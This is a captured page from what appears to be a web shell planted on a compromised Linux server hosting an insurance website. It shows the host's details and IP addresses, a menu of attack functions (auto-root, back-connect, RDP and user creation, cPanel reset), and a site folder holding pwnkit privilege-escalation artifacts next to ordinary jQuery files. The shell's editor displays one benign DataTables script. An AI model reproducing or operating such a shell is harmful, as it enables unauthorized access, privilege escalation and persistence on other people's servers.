Linux dpw.dpwebtech.com 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
Apache
: 192.232.243.69 | : 18.191.234.61
54 Domain
7.3.33
dpclient
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
dpclient /
public_html /
insurance /
js /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
common-backend.js
1015
B
-rw-r--r--
common-nackend-end-backend.js
1.91
KB
-rw-r--r--
custom.js
2.86
KB
-rw-r--r--
dashbord.js
3.65
KB
-rw-r--r--
email-quotes-backend.js
1.53
KB
-rw-r--r--
helpers.js
23.45
KB
-rw-r--r--
insurance-listing-page.js
7.36
KB
-rw-r--r--
insurer-dashboard-backend.js
8.49
KB
-rw-r--r--
insurer-edit-backend.js
14.16
KB
-rw-r--r--
jquery-3.7.1.min.js
85.48
KB
-rw-r--r--
jquerydatatables2.0.8.min.js
88.28
KB
-rw-r--r--
messages-backend.js
2.28
KB
-rw-r--r--
policy-backend.js
2.96
KB
-rw-r--r--
policy-dashboard-backend.js
2.52
KB
-rw-r--r--
policy-edit-backend.js
2.25
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
qoutejs.js
7.67
KB
-rw-r--r--
sweetalert.min.js
39.85
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : policy-dashboard-backend.js
$(document).ready(function() { var table = $('#policy-table-1').DataTable({ "columnDefs": [ { "targets": 1, // The index of the checkbox column (second column, so index is 1) "orderable": false // Disable sorting on this column }, { "targets": 0, // The index of the Sr. column (first column, so index is 0) "visible": false // Hide the Sr. column } ], "initComplete": function () { // Add a placeholder to the search input $('#policy-table-1_wrapper .dt-search input').attr('placeholder', 'Search Policy...'); } }); var checkboxState = {}; // Handle click on "Select all" control $('#select-all').on('click', function() { var isChecked = this.checked; $('input.row-checkbox').each(function() { $(this).prop('checked', isChecked); checkboxState[$(this).val()] = isChecked; }); toggleDeleteButton(); }); // Handle click on individual checkboxes $('#policy-table-1 tbody').on('click', '.row-checkbox', function() { checkboxState[$(this).val()] = $(this).prop('checked'); updateSelectAllControl(); toggleDeleteButton(); }); // On each draw event, restore the state of checkboxes table.on('draw', function() { $('input.row-checkbox').each(function() { if (checkboxState[$(this).val()]) { $(this).prop('checked', true); } else { $(this).prop('checked', false); } }); updateSelectAllControl(); toggleDeleteButton(); }); // Function to toggle the delete button function toggleDeleteButton() { if ($('input.row-checkbox:checked').length > 0) { $('#delete-button-policy').show(); } else { $('#delete-button-policy').hide(); } } // Function to update the "Select all" control function updateSelectAllControl() { if ($('input.row-checkbox:checked').length === $('input.row-checkbox').length) { $('#select-all').prop('checked', true); } else { $('#select-all').prop('checked', false); } } // Handle the delete button click event $('#delete-button-policy').on('click', function(e) { e.preventDefault(); // Prevent the default form submission swal({ title: "Are you sure?", text: "You won't be able to revert this!", icon: "warning", buttons: true, dangerMode: true, }) .then((willDelete) => { if (willDelete) { $('#deletePolicy').submit(); // Submit the form if confirmed } }); }); });
Close